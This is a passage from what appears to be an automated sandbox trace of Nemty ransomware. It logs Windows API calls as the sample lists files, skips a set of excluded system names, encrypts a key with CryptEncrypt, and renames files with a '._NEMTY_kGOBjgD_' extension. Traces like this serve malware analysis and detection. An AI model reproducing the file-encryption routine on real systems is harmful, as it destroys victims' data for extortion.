returned 0xffffffff [0144.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340328, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0144.990] CloseHandle (hObject=0xffffffff) returned 0 [0144.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340498 [0144.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0144.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0144.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0144.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0144.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_docked.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_docked.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_docked.png._nemty_kgobjgd_")) returned 0 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.990] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e9e79e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e9e79e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce9af45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="item_hover_floating.png", cAlternateFileName="")) returned 1 [0144.990] lstrcmpiW (lpString1="item_hover_floating.png", lpString2=".") returned 1 [0144.990] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="..") returned 1 [0144.990] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="...") returned 1 [0144.990] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="windows") returned -1 [0144.990] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="$RECYCLE.BIN") returned 1 [0144.990] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="rsa") returned -1 [0144.990] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="NTDETECT.COM") returned -1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="ntldr") returned -1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="MSDOS.SYS") returned -1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="IO.SYS") returned 1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="boot.ini") returned 1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="boot.ini") returned 1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="AUTOEXEC.BAT") returned 1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="ntuser.dat") returned -1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="desktop.ini") returned 1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="CONFIG.SYS") returned 1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="RECYCLER") returned -1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="BOOTSECT.BAK") returned 1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="bootmgr") returned 1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="programdata") returned -1 [0144.991] lstrcmpiW (lpString1="item_hover_floating.png", lpString2="appdata") returned 1 [0144.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_floating.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0144.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_floating.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_floating.png", lpUsedDefaultChar=0x0) returned 23 [0144.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0144.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_floating.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0144.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_floating.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_floating.png", lpUsedDefaultChar=0x0) returned 23 [0144.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0144.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_floating.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0144.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_floating.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_floating.png", lpUsedDefaultChar=0x0) returned 23 [0144.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_floating.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0144.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_floating.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_floating.png", lpUsedDefaultChar=0x0) returned 23 [0144.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0144.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0144.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0144.992] Sleep (dwMilliseconds=0x5) [0145.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa12d150, dwHighDateTime=0x1d561e8)) [0145.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa12d150, dwHighDateTime=0x1d561e8)) [0145.000] GetLastError () returned 0x5 [0145.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.000] GetLastError () returned 0x5 [0145.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.000] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0145.000] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0145.000] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0145.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340328 [0145.000] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340328, pcchString=0x653e91c | out: pszString="T1SSS1d1O2DCPEzdf2IrSz3di5ivfEEKV4ROGRx5Mmf0NalSn9j2P7ORtfZn5rVv\r\n6d0XeGrIDApdH9kOb7/gJQlFcJlAyaodVzC5X/LYA7ez8apBYpjP4WO8uADlFZof\r\nkQGPwoTklS8u2yUezAglJChaTym2oPu61+j4KFF6VWTXk9aOH76VEGSDmelS4Pg6\r\n6/+7ZbhmYwfJ/F0tiSUmW19wTBEf4GYsjwJ6qUElWWNdnUloeX3nC7oZxV9Y7jGF\r\nqSkyLQ0WgNPEJTVo3x8Nt9PYEp8nIY8HxJNDs8RiIeKTQs/c2AIIhDseU/7jtRTJ\r\nC4LAReDUjf2LgRIq1N+6gA==\r\n", pcchString=0x653e91c) returned 1 [0145.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0145.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0145.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0145.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340328 [0145.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0145.000] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_floating.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.001] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0145.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0145.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.010] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.019] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.019] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.038] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | 